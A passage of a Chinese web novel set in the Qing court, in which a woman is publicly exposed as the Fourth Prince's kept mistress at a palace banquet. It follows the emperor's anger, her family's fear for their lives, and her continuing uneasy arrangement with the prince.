宴席快开始后,寒暄攀谈的人才慢慢归位,女眷居多,但也有男子,男女分席而坐,但同坐在乾清宫大殿。
宴桌上已经摆放着精致的茶盘跟新鲜的瓜果,各类果酒跟马奶酒也已呈上,九月初的天气不像七八月那么炎热,尤其是殿内放着好几座大冰山。
宫里的娘娘过来时,太监一一唱名,他们一众人等半蹲行礼,当太监高喊太子驾到时,他们直接跪地行礼。
乌锦低头垂眸,一直没听到喊起的声音,跪了好一会又听到皇上驾到几个字,听到太监说起时,他们这些人才可以起来。
虽然人很多,但乌锦是跟着福晋西林觉罗氏坐在亲王这一桌,在第二排,抬头就能见到宫里的娘娘与皇上。
康熙如今四十来岁,留着八字胡,穿着一件黄纱绣八团龙单褂,帝王总是透着一股威严凛然的气势,眼神锐利。
她起身时扫一眼见到四阿哥,他应该是跟太子等人坐在一块,四阿哥那一桌还有世子雅尔江阿与康亲王世子,她不知四阿哥有没有见到她,她坐得规矩,只是眼珠子动,身子不敢乱动。
每一道热菜上来时都是先送到皇上那边,皇上说一句赏后才分到各桌,这生辰宴自然不是干巴巴地坐着用膳,最前面有舞娘们伴着丝竹管弦在曼舞。
李夫人小声提醒她别多吃,省得小解如厕频繁引来瞩目,乌锦就没怎么吃,连茶水都不喝,目光都放在前面的舞蹈上。
宴席过半,不知是谁起来斟一巡酒,这一斟酒,气氛变得热闹一些,有胆大的人直接过来给宜妃敬酒,说些吉祥话,呈上生辰礼,讨得宜妃欢笑连连,连带着皇上也微微露出笑意。
越来越多人给宜妃送上生辰礼,宜妃收不过来,都让后头的奴才帮忙收着,送礼的人也会自报家门,这样奴才才好登记在册。
礼送得差不多后,大家才坐回原位,前面的歌舞不知被谁叫停,安静下来后只见有一男子站起来说道:“雅尔江阿,我听说你养了一外室,是一佐领之女,可是真的?”
底下的人瞬间竖起耳朵,目光齐聚在前面。
乌锦总觉得哪里不对,她瞥到西林觉罗氏脸色也突然一变。
“大阿哥,今日是宜妃娘娘的生辰宴。”雅尔江阿自己也有点诧异地看着大阿哥,不知大阿哥怎么突然说起这个,他没有正面回答大阿哥,只是提醒大阿哥这是宜妃娘娘的生辰宴,提及此事有些不妥。
显然大
阿哥不是会看眼色的人,或者说他有心闹事,他故意大声道:“这有什么不好说的,我也很好奇是哪家姑娘把你迷成这样,她今日来了没有?是不是她?”
乌锦只看见雅尔江阿口中的大阿哥忽然手指着她,众目睽睽下,她也不知道自己该不该站起来说话。
大阿哥显然不想放过她,继续说道:“既然都跟你额娘她们坐在一桌,光明正大带进宫里头,可见你也没想隐藏啊。”
雅尔江阿是大阿哥指着乌锦,他才发现乌锦今日进宫了,他不知道是谁将乌锦带进宫的,不知道她为何会在这里,他见到乌锦跟额娘她们坐在一块时,他眼底闪过诧异,但此时的他只想糊弄过去,他笑着说:“大阿哥,你就别揭我的短了,来,我给大阿哥敬一杯吧。”
“你就说她是不是你的外室?”
雅尔江阿不知该如何回答,正当他尴尬时,他的妻子瓜尔佳氏出声解围:“大阿哥,乌姑娘是我的闺中好友,她今日只是随我进宫。”
大阿哥显然不信,他一心想搞事,依旧高声说道:“雅尔江阿,你老实说这到底是你的外室还是四弟的外室,我怎么听说你是替四弟遮掩隐瞒,其实这位乌姑娘是四弟养在宫外的女人。”
此言一出,众人惊得倒抽一口气,眼睛睁得老大,诧异到嘴巴都合不上来,看大阿哥,又看雅尔江阿,再看大阿哥,最后目光落在乌锦身上。
西林觉罗氏都被大阿哥这话震得几欲动唇,又说不出来话,她不明所以,但又觉得大阿哥说的是真的,所以自家儿子才一直推脱纳乌锦进府,他纳妾是何其容易的事,他们都同意他纳妾了,结果自家儿子非要把人养在外面,原来乌锦不是雅尔江阿的外室,而是四阿哥的外室。
至于乌锦怎么跟四阿哥在一块的,她暂时理不清,她忍不住偏头看向乌锦,只觉得乌锦面色如纸,恐怕大阿哥没有说谎。
宜妃作为此次生辰宴的主人公,见气氛不对,皇上已经冷下脸了,大阿哥还一直逼问,当着这么多人的面揭四阿哥的短,这不是要四阿哥难堪嘛,亲兄弟闹成这样只会让皇上不喜。
大阿哥这人向来做事不经脑子,做事冲动,不顾场合,抓着自己弟弟的小辫子就恨不得立即昭告天下,哪怕四阿哥真的养外室了,他当着这么多人的面说出来算怎么回事,这不是让人看皇家的笑话嘛,将皇家的脸面置于何处,惠妃真是生了一个蠢儿子。
宜妃只能硬着头皮出声道:“大阿哥,此事没有证据,你别空口污蔑四阿哥,将外面那些谣言带进宫,刚刚世子福晋说了那是她的闺中好友,并非是什么外室,女孩子的清誉不能随便诋毁。”
“是不是,问问乌姑娘不就知道了,你自己来说,你是不是老四的外室?”
宜妃很不得让人堵住大阿哥的嘴,他在她的生辰宴上闹事,不仅是让四阿哥难堪,还让她难堪,刚刚还让雅尔江阿世子难堪,大阿哥做事一向只顾自己痛快,得罪人都不知道,应该说他是真不怕得罪人。
宜妃看向那位乌姑娘,她脸上那块大疤很显眼瞩目,说实话,她也没想到四阿哥会养外室,四阿哥后院的女子最少,跟大阿哥在外风流浪荡的名声不同,四阿哥就正经许多,连皇上都说四阿哥长大后为人正直谦卑,她目光充满好奇,实在看不出这个乌姑娘有什么特殊之处。
她相信大阿哥不敢在这种事上撒谎,这事必定是真的,就看这位乌姑娘怎么回答。
乌锦没想到自己是在这种情况下被揭露是四阿哥的外室,她想着前阵子一直被人跟踪,会不会是大阿哥派人跟踪她,被点名的她只能走出来,跪在大殿中间,没看四阿哥,尽量克制自己的语气:“奴婢是镶蓝旗乌佐领之女乌锦,奴婢是世子福晋的闺中好友,只是想随福晋进宫见见世面,并非是四阿哥的外室,还请皇上明鉴。”
宜妃不得不多看乌锦几眼,没想到她会否认,她看起来也没有很慌张,但双手的微微颤动还是透露出她的紧张,这个时候还能保持冷静,这个乌锦至少不是无脑之人。
“这不可能,你在说谎,你明明就是老四的外室,老四将你安置在外城的一座宅子里,雅尔江阿亲口跟我说的,你可知欺君可是死罪?”
大阿哥也没想到乌锦会否认,他变得更加激动,他让人跟踪她,亲眼见到她住在外城那边,那个谢嬷嬷原先是老四幼时,在他身边伺候的奴才,后来年纪到了出宫,分明就是老四的人。
“够了!你住口!”
康熙喝止大阿哥,脸色玄青如铁,冷冷地睨了一眼大阿哥。
大阿哥这才噤声,不敢多话,但看上去还有点不服。
殿内顿时安静无声,无人敢大口喘气。
“你一天天不做正事,今日是宜妃的生辰,你在这里胡言乱语,你很自豪是不是?”
“儿臣没有。”
康熙也没有继续问乌锦,只是起身离席,离席时踹了大阿哥一脚,大阿哥不敢吭声。
宜妃见状,生辰宴也不能继续下去,她说了几句感谢的话语,便让人自行离宫,今日宴席到此为止。
乌锦等人走得差不多时,她是被瓜尔佳氏搀扶起来,跟她们一起离宫,等马车驶离皇宫时,跟她坐同一辆马车的李夫人才开口问道:“大阿哥说的是真的吗?你不是在世子爷在一块,而是四阿哥?”
乌锦自己也乱得很,她跟四阿哥的事算是被发现了,虽说她已经否认了,但估计没几个人相信,东窗事发之后,四阿哥怎么处置她,她也不清楚,刚刚在乾清宫,她一眼都没敢看四阿哥。
面对李夫人的问话,乌锦最后还是点点头,算是承认她跟四阿哥的关系。
李氏刚刚已经震惊过了,这会反而没那么诧异了,乌锦真是四阿哥的外室,幸好她没有苛待乌锦,不管怎么样,乌锦都算是皇子的人,这次若是能安然度过,她觉得乌锦会进四阿哥的后院。
“什么时候的事?”
“夫人,恕我不能直言。”
李氏觉得乌锦不说也是应该的,这个时候口风越要紧,她谨言慎行也是对的,她毕竟不是乌锦真正亲信的人,只是这事恐怕没那么容易过去,四阿哥若是舍弃她,她可能有生命危险。
“不管怎么样,你得笼住四阿哥,只有四阿哥能保护你。”
乌锦点点头说她知道了,马车先送她到家,她先回家,家里人显然还不知道宫里发生的事,只是问她为何娘娘要她进宫,她说她也不知道,她只是随着福晋她们进宫参加宴席,并没有被娘娘单独召见。
用过晚膳后,乌锦才跟她阿玛他们说她是四阿哥的外室,他们很是震惊,不明白怎么从保泰变成四阿哥。
乌志善沉默半响才问道:“所以一直以来你都是跟四阿哥在一起?四阿哥他怎会要你当外室?”
乌锦哪里知道四阿哥怎么想的,她看向阿玛他们,沉声道:“我们的事,宫里人都知道了,连圣上都知道了。”
“皇上都知道了?那女儿你的意思是……”
“我的意思是皇上要是发怒,我们家有可能满门抄斩。”
这算是皇家丑闻吧,皇上肯定不会杀自己的亲儿子,为了掩盖丑闻,可能杀他们灭口,
他们一家人有可能丧命,乌锦让他们有个提前的心理准备,杀与不杀,活与不活,命从来都不是掌握在他们手上。
一向不担事的乌志善看着自己的女儿,反而宽慰她道:“你阿玛活到这岁数了,并不怕死,我们一家人能一起死是好事,女儿不用自责,这不是你的错,是阿玛无能,没能保护你们,皇上要杀要剐,随便他们。”
“是啊,桃子,我们不怕死,你别自责,别愧疚,这事不是你的错,你已经做了你能做的,没有你就没有乌家,皇上真要杀我们灭口,那就杀吧,小娘也不怕死,在没死之前,我们能开开心心活着一天就是一天,其它的交给天定。”
程连秀握着乌锦的手,难得坚定,皇上要杀人,哪是他们能阻止得了的。
乌锦眼眶泛红,这个时候心底的害怕才慢慢倾泻出来,她没有那么不畏生死,尤其是他们一家人都有可能丧命,她怎么可能不害怕。
程连秀替乌锦擦眼泪,安慰道:“桃子没事,我们不会怪你,你千万别多想。”
乌锦大哭一场,后面一家人抱在一起哭,乌安跟乌明两个小的从他们房间里过来,不知道发生了什么,但跟着一起哭起来。
乌家这一晚上只听得见哭声,谁也不知道乌家的命运如何,连乌锦自己都不知道。
翌日,乌锦肿着一双眼,跟家里人用过早膳后,她便过去宅子那边,她要等四阿哥。
……
此时的紫禁城,乾清宫内殿,大阿哥跟四阿哥都双膝跪地,大阿哥刚被康熙训斥一顿,被罚一年俸银,加上禁足三个月,不得走出宫门。
训完大阿哥后,康熙看向胤禛,冷声道:“你让朕很失望,朕一直以为你不会做这种糊涂事,那个乌氏,你即刻让人斩杀,所有知情者不许留活口!”
“皇阿玛,大哥身边那么多女人,儿臣身边多一个又何妨,不过是一供儿臣玩乐的女子而已,皇阿玛何必要赶尽杀绝,儿臣自会处置他们,皇阿玛就别管了。”
“你不打算杀她?”
“皇阿玛,该杀的时候,儿臣会杀的,不过不是现在。”
“胡闹,你不打算杀她,也不准备让她进宫,你这是打算一直养在宫外?”
“有何不可,一个外室而已,大哥养在外面的女人多了去了,儿臣比起大哥已经好多了,儿臣只养了一个,这天底下的男人生性大多如此,据儿臣所知,这朝中养外室去花楼的大臣更是数不胜数,他们都可以,儿臣为何不可以,难不成他们比儿臣还要尊贵,他们能做得的事,儿臣更是能做得,皇阿玛,此事你就交由儿臣处置,儿臣自有分寸。”
“你的名声还要不要了?”
“名声?这种事才不会有损儿臣的名声,不过是添一桩风流韵事,男子本就风流,皇阿玛,你就随了儿臣,反正这事已经传出去了,再传又能怎么样,无非是跟大哥一样,儿臣不在乎,皇阿玛也不应在乎。”
“随你,你别后悔就行。”
康熙知道自己若是不答应他,他肯定将那些养外室的大臣都供出来,闹得朝堂动荡,养外室这事,他不是先例,也不是最后一例,有一个胤褆在前头,他要是处置他,不处置胤褆也说不过去,的确只是一个女子而已,他若是强行逼他,他反而越逆着来,可能过一段时日,他自己就腻了,这事说大不大,风流韵事而已,他又不是太子,太子的名声最重要,太子肯定不会像他这样胡闹。
走出殿外,胤禛看了一眼胤褆,皮笑肉不笑道:“大哥,这结果如大哥所愿吗?”
胤褆道:“老四,平日里看你总是一本正经、不近女色的样子,原来也跟我一样,这外面那些人总是说我风流浪荡,如今多一个四弟陪我,你说我高兴不高兴,我说的都是事实,我又没有污蔑四弟,四弟可千万别生我的气。”
“既是大哥,弟弟怎么会生大哥的气,大哥昨天闹这么一通,弟弟还要感谢大哥呢,弟弟一直以来总担心这事被人知道,如今好了,弟弟再也不用担心了。”
胤褆手揽着胤禛的肩膀,笑道:“那你可真是得感谢我,不过我看那个乌氏长相丑陋,弟弟要是实在缺女人,大哥可以送几个年轻貌美的给你,那个乌氏实在拿不出手,我不明白四弟怎么会看上她。”
“不劳大哥费心了,大哥,还是好好待在宫里吧,我要出宫了。”
胤禛径直往前走,没看后头的胤褆,胤褆被禁足,三个月不能出宫,只能眼看着他离开。
“主子爷,你要去哪?”苏培盛小心翼翼问了一句。
胤禛没回答,只是上了马车。
苏培盛跟前面的车夫说去外城,四阿哥也没有反对,他就知道自己猜对了,这事闹这么大,四阿哥还保住乌姑娘的命,可见乌姑娘一时半会不会失宠,还有可能因祸得福。
到宅子这边后,苏培盛跟着四阿哥进去,他见到乌姑娘给四阿哥行礼,那眼睛一看就是哭过了,他觉得乌姑娘聪明,昨日在众人面前否认她是四阿哥的外室,某种程度上是保住了四阿哥的颜面,事后那些人相不相信是一回事,但当时是打了大阿哥的脸。
乌锦怕四阿哥直接让人过来灭口,她本就是一个见不得光的外室,如今被迫见光,他可能会杀她灭口,毕竟只是一个无足轻重的外室,死了就死了,他又不会在意,他可以再找一个。
见到四阿哥出现时,她反而松一口气,他要是想杀她,可能直接让人过来赐她一壶毒酒,而不是亲自过来。
“怕了?”
“是,奴婢怕死,昨日是福晋她们带奴婢进宫,说是娘娘召奴婢,奴婢不是故意出现在四阿哥面前的。”
胤禛知道肯定是胤褆假借宜妃的名义召她进宫,胤褆就是要闹事,当着众人的面揭露他养外室的事实,这的确不是她的错。
“四阿哥会杀我吗?”
“你觉得你该不该杀?”
乌锦过去,跟之前一样半坐在他腿上,说道:“我什么都没做错,当然不该杀,我还想继续伺候主子爷呢,还请主子爷怜惜,别取我性命,也放过我家人,我肯定会好好服侍主子爷。”
“不杀你。”
乌锦得到他的保证,整个人更是松懈下来,悬了一晚的心终于放下,不管怎么样,他说不杀她,皇上那边应该不会越过他杀她,她再怎么样也不过是一微不足道的外室,又不会影响国运,不至于大费周章杀她一个外室。
李夫人说得对,她的命更多是掌控在四阿哥手里,只要他想护她,她暂时就死不了。
“谢主子爷不杀之恩。”乌锦搂着他的脖子连亲他。
胤禛想着只是此时不杀她而已,他还没腻,还没厌倦,先留她一命,他本来没什么心思做这事,只是被她亲着亲着,他就回吻过去。
其他人全部退出去了。
两人很快到床上,乌锦使出浑身解数伺候他,让他尽兴,十分柔情地喊他主子爷,一遍又一遍,她成了那个以色侍人的女子。
事后,两人躺在床上。
胤禛想了想,既然他养外室这事已经被人知晓,他也不必遮遮掩掩,从皇宫那边过来外城这边太远,他打算重新置办内城的宅子给她,距离近些,他不用坐那么久马车。
“那自然好,我都听四阿哥的,若是能离我家近些就更好了,我这里也攒下一些银两,要不宅子我来买吧,记在我名下,四阿哥填补我一些银两即可,我找一个离皇宫近又离我家近的宅院,主子爷觉得呢?”
“你这是想坑我银子,记在你名下,不就是你的宅子了吗?我还得给你填银子。”
“主子爷怎么能这么想我,我不过是这么一说,主子爷要是觉得不划算,那就算了,主子爷自己买吧,我到时候搬过去就行。”
“你买吧,缺多少银子跟我说。”
乌锦轻笑,整个人倚在他怀里:“主子爷放心,我肯定不会挑很大的宅子,二进的宅子就够了,爷,那我们的事算是过去了吗?皇上有没有找主子爷麻烦?以后人家要是说我是主子爷的
外室,我还需要否认吗?”
“你不需要管,也别以我的女人在外自居,你不过是外室而已,记住自己的身份,别妄想其它的东西。”
乌锦在心里默默翻白眼,他永远不忘提醒她要安分守己,生怕她想从他那边得到更多,占他便宜。
“我知道了,我很老实本分的,主子爷请放心。”
第53章第53章更新
第53章
乌喇那拉氏已经有五个多月的身子,她昨日没有参加宜妃的生辰宴,谁知在生辰宴上竟然发生这么大的事,她没有亲眼目睹,但在宫中已经传遍,甚至传得绘声绘色。
四阿哥养外室这事,她先前隐隐已经猜到,所以她没有太惊讶,只是昨日闹得那么大,大阿哥当着那么多人的面说出四阿哥养外室的事,不顾及兄弟之间的情面,闹得人尽皆知,是她始料不及的,连带着她这个嫡福晋都被暗暗嘲笑,毕竟四阿哥养外室,某种程度上是她这个正妻没能力笼络住四阿哥的心,以致于四阿哥要去外面找女人。
好在她如今肚子越来越大,身子稍显笨重,基本上只待在房间内,很少外出,那些异样的目光暂时没能落到她身上。
她听说那个女人昨日也在宜妃的生辰宴上,宫里的奴才都说那个女人样貌丑陋,脸上有一块大疤,若是一个人说,她可能还怀疑是奴才们为了讨好她才这么说的,若是所有人都这么说,那应该就是真的。
四阿哥平日里很秉正规矩的人,甚至骨子里有些冷淡,那个样貌丑陋的女子究竟是如何攀上四阿哥的。
乌喇那拉氏想不明白,却让自己不要去想,她好好生下孩子是最要紧的事。
四阿哥养外室这事还是在朝中闹得沸沸扬扬,有几个十分正直的大臣上折子谴责弹劾四阿哥,听说都被皇上压下。
这事要么惩治四阿哥,要么处理那个外室,乌喇那拉氏发现二者都没有,皇上选择睁一只眼闭一只眼,显然四阿哥也选择护住那个外室。
乌喇那拉氏觉得那个女人进宫,成为四阿哥后院里的女人是迟早的事,她本以为那个女人很快就会被四阿哥接进宫,只是半个月过去,依然没有动静。
她寻思着难道四阿哥不打算把人接进宫,打算一直养在外面,四阿哥出宫已是常态,她也不知道四阿哥出宫是为了办正事还是去找那个女人。
乌喇那拉氏琢磨不明白,干脆不琢磨了,反正她也管不了四阿哥,她每日安心养胎,后院清静。
……
乌锦这边就热闹许多了,她们一家暂且保住性命,她是四阿哥外室这事几乎是口耳相传,人尽皆知,来她家的人非常多,跟当初隔壁郑家有女进后宫当小主一样,不少人过来攀关系。
有些的确跟她们家沾点关系,比如说她大舅妈的表姑妈、二舅妈的表叔等,跟她们家沾点姻亲,他们过来想要为自家的儿子领一份旗缺。
虽说八旗子弟满十六岁后要披甲当差,要入伍当兵,但如今京城内旗人不少,各佐领兵册上的旗缺没那么多,有些人可能等到二十岁才当上牛录,甚至有人一直没当上。
别看这普通牛录只是小小清兵,但一旦当上,领了旗缺就可以每个月领月俸,还可以领粮食,逢年过节还有额外的赏银,对普通人而言这是极好的差事。
他们都觉得她是四阿哥的外室,只要她开口求四阿哥就能轻易解决,她拒绝他们后,他们认为她不想帮他们,难免生出怨气。
这半个月,乌锦不知道自己拒绝了多少次这样的要求,说她帮不到他们,她也见不到四阿哥。
不是她不想帮他们,只是她知道自己在四阿哥那是什么地位,她知道自己几斤几两,他总要她记住自己的身份,不就是怕她攀上他后想要索取旁的嘛,他们的关系属于是他可以施舍,但她不能主动开口要,一旦她真的开口,他估计会觉得她贪婪,羞辱她一番。
除了这些人情世故,乌锦在这半个月也找到一座三进的宅子,只需一百五十两便可买下,离皇宫近,离她家也不远,她连隔壁那座二进的宅子也买下了,那座稍微便宜一些,只需七十两,是给赵师傅住的,他需要一个地方养马。
她全部付了,将两座宅子记在她名下,到时候打算跟他开口要一百两,这个时候不薅羊毛等到什么时候薅,他一个阿哥肯定不缺这一百两。
谢嬷嬷她们跟着搬过来。
四阿哥自然不可能天天过来找她,她反正上次见到他已经是二十多天前的事。
乌锦也不住在家里,住在她新买的宅子这边,白天偶尔回趟家,或是去铺子那边,她这铺子的生意越来越好,沾了四阿哥的光,她又多请了一位绣娘。
日子照常过,不过多了一些侧目的目光,乌锦渐渐就习以为常了。
当普通人的外室是被唾弃轻视的,当皇子的外室却是被羡慕景仰,那些人换了一副面孔,都称赞她好命有福气,没人敢到她的铺子闹事。
乌锦觉得无论在哪,还是拜高踩低、欺软怕硬那一套。
再见到四阿哥已经是十月初,他过来的时候,其实她在铺子这边,好在新宅子离铺子不远,她不到一刻钟便赶回来了。
“你怎么还出去抛头露面?我给你的银子不够吗?”
胤禛觉得她是他的人,如今谁都知道她是他的外室,代表着他的颜面,她不安安分分待在屋内,还出去出风头,这不是在丢他的脸嘛。
乌锦不解,她总不能一直拘在屋子里面,每天无所事事坐着等他过来找她,他又不是皇帝,她也不是盼着侍寝盼着被临幸的后妃,她当然想有事情做。
“主子爷,你看过这宅子了吗?满不满意?”
“简陋。”
“比起皇宫的恢弘大气,的确简陋了一些,一共花了一百五十两,主子爷给我一百两就行。”
胤禛看她,她两只手伸出来,他拍一下她的手,她倒是敢跟他张口,一百五十两的宅子,记在她名下,她敢跟他要一百两,还不如他直接买下。
“疼,爷是觉得一百两多吗?那算了,主子爷要是觉得多的话,你给我五十两就够了。”
胤禛把她扯过来,捏了捏她的脸:“你掉钱眼里了,张口闭口就是银子。”
乌锦看得出他今天心情不错,她笑道:“四阿哥要金屋藏娇,这还不是金屋呢,这只是土屋,五十两不多吧,我又没有狮子大开口。”
胤禛冷哼一声:“金屋藏娇,人家是藏起来的,你呢,在外面抛头露面,丢我的脸,你以后不准出去,把你那铺子关了。”
乌锦有些急了,转过来跟他面对面:“那我总不能大门不出,二门不迈吧,主子爷一个月才过来找我一次,我总得找点事情做吧,我可没有打着四阿哥的名义在外面做事。”
“那别人难道不知道你是谁?”
“那他们在想什么,我管不过来,我只能管我自己,反正你别管我铺子的事,爷,我们不说这些好不好,我很想你,我们做别的吧。”
晓得她在转移话题,胤禛被堵住嘴,他最后还是没说什么,随了她。
事后,乌锦还抱着四阿哥的胳膊。
胤禛舒爽过后心情不错,这里离皇宫近,他也不用急着回宫。
乌锦肚子饿了就松开他的手,从床上坐起来,换来谢嬷嬷备膳,顺带把避子汤喝了。
“主子爷,你要吃点吗?”
这会正是用午膳的时辰,胤禛觉得自己也饿了,于是点点头。
等膳食摆上来后,胤禛跟乌锦坐在一块用膳,桌上没有摆得满满当当,只是三菜一汤,也没有大鱼大肉,只是一些家常便饭。
乌锦饿了,不管他,先自己吃起来。
在宫里是有人给他布菜的,只是这里只有他跟乌锦,乌锦已经开吃,没有伺候他、要给他布菜的念头,他只能自己夹,吃个八成饱后就放下筷子了。
乌锦是自己吃得差不多才停下来,她寻思着四阿哥是不是该走了,她不好直接赶人,先让谢嬷嬷把碗筷收拾下去,她见四
阿哥依旧没有要走的意思,她问他要不要睡一会。
“我不困。”
乌锦其实也不困,只是她不想跟他大眼瞪小眼,于是她自己回床上躺着。
“刚吃完不好躺着。”
乌锦又坐起来,拿一本看过的话本子重看一遍。
胤禛觉得时辰还早,还不想回宫,回宫烦心事多,跟乌锦待在一块至少不用想那些烦心事,他也拿一本书跟乌锦一同坐在床上看。
乌锦偷偷瞥他一眼,想不明白他为何不走,一般情况他们做完,没有旁的闲话可说,他不会在她这里停留太久,很快就会离开,她当她外室好像也快两年了,他们坐在一块用膳的次数只有三次。
“你偷看什么?”
“爷,你不忙吗?”
身为阿哥,他应该有很多事要忙吧,乌锦还真有点不习惯他们这样子相处,好像老夫老妻一样,一想到这,她忍不住一激灵,一对互相想杀对方的老夫老妻。
“你在赶我走?”
乌锦心里这么想,嘴上哪敢承认,她连忙摇头:“不是,主子爷想在这里待多久就待多久,我只是以为爷平日里很忙才没有过来这边。”
胤禛当然不会天天过来找她,若是天天过来,别人会真的以为他被一个外室迷得神魂颠倒,养外室只代表他风流,男子风流不是什么大不了的事情,但若是被外室迷得七荤八素,不做正事,天天过来找她,别人会认为他心性不定,沉湎女色,不是成大事之人,那才是真正有损他名声。
乌锦被盯着有些心虚,她滑下去直接躺在床上,话本子也不想看了,用被子遮住自己半张脸,说道:“爷,我是真的困了,我要午歇半个时辰,你自便。”
胤禛没说什么,继续看书,过一会儿,他再偏头看她,人已经睡着了,他也不想再看书,也躺了下来,闭上眼睛午歇。
乌锦以为自己睡醒后,人已经走了,结果自己一睁眼,这人还睡在她旁边,睡得可熟了,那张脸呈放大状出现在她眼前,她都忍不住往后缩了缩。
说实话,四阿哥长得不丑,哪怕是前半边头发都剃光,留着最丑的辫子头,他看起来也不丑,相反还有几分好看,是那种贵公子的长相,也怪不得多兰格格会喜欢他,长相只是皮囊,要是多兰格格知道这人会打人,阴晴不定,估计就不会喜欢他了。
说起来,多兰格格也快嫁人了,婚期是十月底,只剩下不到一个月的时间,其实多兰格格低嫁也有低嫁的好处,至少额驸得捧着她,多兰这娇纵的性子适合低嫁,想来王爷跟世子也是衡量过了。
乌锦在床上不敢动,怕吵醒身旁的人,当四阿哥动的时候,她又迅速闭上眼睛假寐。
胤禛醒了,看一眼旁边的人,见她眼睛在颤动,就知道她已经醒了,他就看着她,见她偷偷睁眼对上时,人吓一跳。
“爷,你……你醒啦,好像时辰不早了。”
“乌锦,你若是想让我离开,可以直说。”
“绝对没有,我巴不得主子爷永远留在这陪我。”
胤禛勾勾嘴角,摆明了不信她说的话,他从床上起来,他突然回头,盯着乌锦,问道:“你是不是还在怪我强迫你当外室?还是你在惦记着张宗?”
乌锦也愣一下,没想到他会这么突然问她,张宗是二月离开的京城,如今大半年都过去了,他怎么又提起张宗,可能她意识到自己反应不对,那人已经沉脸,她忙攀上他,整个人贴着他的后背。
“我怎么会怪主子爷,你不知道这阵子有多少人想攀上我们家,以前我们乌家可是被看不起的,如今无论是街坊邻里还是那些亲戚,都不敢轻视我们,给主子爷当外室是极好的事情,多少人羡慕我,我没有怪你,也没有惦记张宗,我生是四阿哥的人,死是四阿哥的鬼,反正这辈子,我已经离不开四阿哥了。”
胤禛也不知道她是真的这么想还是她想哄他,这女人说的话只能信三分,她巧舌如簧,能言善辩,他不能全信她的话。
“你可知道张宗的近况?”
乌锦心想她上哪知道张宗的近况,张家人已经全部移往江西了,他们没有任何书信往来,晓得他在试探她,她摇头十分肯定地说她不知道。
“他已经娶妻了。”
“挺好,他年纪大了,是可以娶妻了。”
胤禛抬起乌锦的下巴,冷声道:“所以你别再惦记他了,这辈子你们是见不到了,你成不了他的妻。”
“谁要当他的妻,当主子爷的妻才是最好的,我想当四阿哥的妻,想被四阿哥八抬大轿娶进门。”
“痴心妄想!”
乌锦搂着他脖子,整个人挂在他身后,在他耳边说道:“我要是早点碰到四阿哥,四阿哥会不会娶我?我可想当你的妻子了,嫡福晋可比外室好多了。”
“你不配。”
“是我不配吗?还是四阿哥不想?我怎么不配了?我只配当你的外室吗?我哪里不配,嫡福晋是不是长得比我好看,还是她家世比我好,她不过是比我会投胎而已。”
胤禛偏头看她,晓得她在胡搅蛮缠,不想让他揪着张宗不放,她的确不配当他的嫡福晋,这一点毋庸置疑。
“你不配,别白日做梦。”
“就白日做梦,你跟我说说我哪里不配,我差在哪里?不说就不准走。”
胤禛脖子被勒一下,他看她无理取闹的样子,心里不是厌烦,反而想看她要闹到什么时候。
乌锦被盯着也说不下去了,她只好亲他,假装可怜失落的样子:“我知道了,我比不上福晋,我不配当爷的妻子,我只配当外室。”
“知道就好。”
胤禛不知为何看她露出可怜的神态,忍不住凑过去亲她。
“爷,时辰不早了,再过一会可能就天黑了。”
“我都不急,你急什么,当外室不就是要随时伺候我吗?你外室都没当明白,就想着当福晋,这个时候就该乖乖伺候我,说不定我一高兴就让你当个格格。”
乌锦怎么也想不明白最后怎么又跟他做了一次,被折腾得筋疲力尽,他走的时候,她都懒得多看他一眼,她不忘让谢嬷嬷再煮一碗避子汤。
……
乌锦不敢开口让四阿哥帮忙,但没想到凭着她跟四阿哥这层关系,她阿玛再次升官,从不入官阶的佐领升为从八品的典仪,连她的小舅从普通的牛录也升为小佐领。
她回家一趟才知道她阿玛跟小舅升官了,小舅过来报喜,拎了一壶酒过来跟她阿玛对饮,喝多了,他说话就没个把门了。
“还是我们家桃子争气啊,那可是四阿哥,我算是四阿哥的舅舅,往后四阿哥见到我都得跟着桃子喊我一声舅舅,我们以后也是皇亲国戚,姐夫,你以后说不定能当大官,什么从八品,以后你能当一品大官。”
完颜氏见自己的弟弟在胡言乱语,这话要是被外人听到还不知道要怎么想呢,他们算哪门子皇亲国戚,还一品大官,如今自家丈夫能当上典仪,已经是托四阿哥的福,人家那是看在四阿哥的面上才给升官的,她呵斥道:“明达,你这话不要往外说,说话要注意一点,小心招来杀身之祸。”
完颜.明达这阵子都有点飘,他觉得自家侄女是皇子的外室,往后是要进宫当主子的,谁敢动他,营里的人见到他都得和颜悦色。
“三姐,你一个妇道人家懂什么,我说的都是实话,桃子,你说是不是?”
“小舅,你以后还是别喝酒了,说错话谁都救不了你,什么皇亲国戚,我只是四阿哥的外室,等四阿哥腻了,我就什么都不是,乌家也什么都不是,你在外面胡说,小心被关进大牢。”
“四阿哥可以救我。”
“他也可以杀你,你若是对他不敬的话,他杀你不过是一句
话的事。”
完颜氏把自家弟弟扶到另一个房间歇下,不让他继续喝酒,想着明日得再跟他说一说,不管怎么样,女儿都只是外室而已,越是这种时候越是要低调行事,免得给女儿带来麻烦。
乌锦知道有时候很难掌控到所有人,让他们都听她的,小舅就是这样的性子,有些无知轻狂,她不希望家里人仗着四阿哥的名义在外面嚣张行事,她自己都不敢这么做,更何况那只是四阿哥,他上面还有太子还有皇上,他身为皇子,有时候一样要掣肘于人,并非无所不能,为非作歹。
第二天,她再跟小舅说让他谨言慎行,小舅只是敷衍过去,一看就是没把她的话放在心上。
乌锦有些无可奈何,只希望小舅别惹事,好好当差,她这边依旧忙着铺子里的事,王夫人女儿的大婚礼服,她也已经绣好了,她亲自送过去给王夫人。
王夫人知道她是四阿哥的外室后,也说她命好,拉着她聊了好久。
乌锦也不知道自己算不算命好,反正目前为止,他们一家人还能好好活着,她就觉得自己当时的选择没错,现在也只能走一步看一步。
十月二十七日,多兰大婚,多兰身为已经被册封的宗女,她大婚之日十分盛大,简亲王府所在的那条街都铺着红布,那嫁妆更是排了好几条街,喜乐从白天吹到傍晚,谁都知道简亲王今日嫁女了。
听说今日到王府贺喜的普通老百姓都能分到喜饼跟喜糖,宴席更是摆了上百桌,满京城的勋贵都过去王府吃喜酒。
而额驸那边的宴席比起王府这边可能还稍显冷清一些。
他们本来跟简亲王府没有太亲近的关系,只是跟李夫人沾点关系,加上她跟雅尔江阿那些乌龙事,多兰大婚自然跟他们无关。
乌锦只是过去铺子的时候碰到迎亲的队伍,见到坐在马背上的额驸伯柱,是之前在街上跟多兰说话的那个男子,其它的,她也没有太过关注,还是跟往常一样过自己的日子。
